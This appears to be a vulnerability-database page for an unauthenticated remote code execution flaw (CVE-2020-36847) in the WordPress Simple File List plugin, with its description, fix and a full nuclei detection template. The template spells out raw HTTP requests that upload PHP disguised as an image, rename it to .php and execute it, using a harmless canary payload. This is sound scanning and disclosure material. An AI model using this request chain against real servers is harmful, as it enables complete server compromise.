HexBrain

Browse / CVEs / CVE-2020-36847

CVE-2020-36847· simple-file-list· CWE-434

WordPress Simple File List < 4.2.3 - Unauthenticated Remote Code Execution

criticalseverity
9.8CVSS score
59%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress Simple File List plugin before version 4.2.3 is vulnerable to unauthenticated remote code execution. The ee-upload-engine.php and ee-file-engine.php scripts register their WordPress nonce checks via add_action('plugins_loaded', ...) after including wp-load.php, making the security checks dead code since the hook has already fired. Combined with a deterministic upload token (md5('unique_salt' + timestamp)) and no file extension validation on the rename action, an attacker can upload a PHP payload disguised as a .png file and rename it to .php, achieving arbitrary code execution.

Impact

An unauthenticated attacker can execute arbitrary PHP code on the web server, leading to complete server compromise, data exfiltration, and lateral movement.

Fix

Update Simple File List to version 4.2.3 or later, which adds file extension validation to the rename action and fixes the token verification.

How to confirm it

Send: POST /wp-content/plugins/simple-file-list/ee-upload-engine.php
Positive when: contains "SUCCESS"
Send: POST /wp-content/plugins/simple-file-list/ee-file-engine.php
Positive when: status_code == 200
Send: GET /wp-content/uploads/simple-file-list/{{marker}}.php
Positive when: status 200 AND contains(body, md5(canary))

Run it with nuclei: nuclei -id CVE-2020-36847 -u <target>

The full check
id: CVE-2020-36847

info:
  name: WordPress Simple File List < 4.2.3 - Unauthenticated Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    WordPress Simple File List plugin before version 4.2.3 is vulnerable to unauthenticated remote code execution. The ee-upload-engine.php and ee-file-engine.php scripts register their WordPress nonce checks via add_action('plugins_loaded', ...) after including wp-load.php, making the security checks dead code since the hook has already fired. Combined with a deterministic upload token (md5('unique_salt' + timestamp)) and no file extension validation on the rename action, an attacker can upload a PHP payload disguised as a .png file and rename it to .php, achieving arbitrary code execution.
  impact: |
    An unauthenticated attacker can execute arbitrary PHP code on the web server, leading to complete server compromise, data exfiltration, and lateral movement.
  remediation: |
    Update Simple File List to version 4.2.3 or later, which adds file extension validation to the rename action and fixes the token verification.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36847
    - https://www.exploit-db.com/exploits/48979
    - https://wpscan.com/vulnerability/10249
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-36847
    epss-score: 0.43519
    epss-percentile: 0.9875
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    framework: wordpress
    product: simple-file-list
    shodan-query: http.component:"WordPress"
    fofa-query: app="WordPress"
  tags: cve,cve2020,wordpress,wp-plugin,simple-file-list,rce,upload,file-upload,intrusive,vkev

variables:
  boundary: "{{rand_base(24)}}"
  marker: "{{rand_base(8)}}"
  canary: "{{rand_base(20)}}"
  ts: "{{unix_time()}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="eeSFL_ID"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="eeSFL_FileUploadDir"

        wp-content/uploads/simple-file-list/
        --{{boundary}}
        Content-Disposition: form-data; name="eeSFL_Timestamp"

        {{ts}}
        --{{boundary}}
        Content-Disposition: form-data; name="eeSFL_Token"

        {{md5("unique_salt" + ts)}}
        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{marker}}.png"
        Content-Type: image/png

        <?php echo md5('{{canary}}');?>
        --{{boundary}}--

    matchers:
      - type: word
        part: body
        words:
          - "SUCCESS"
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        eeSFL_ID=1&eeFileAction=Rename%7C{{marker}}.php&eeFileOld={{marker}}.png&eeListFolder=

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/simple-file-list/{{marker}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - contains(body, md5(canary))

    extractors:
      - type: dsl
        dsl:
          - md5(canary)

References

Use this check only on systems you are authorised to test. Where the data comes from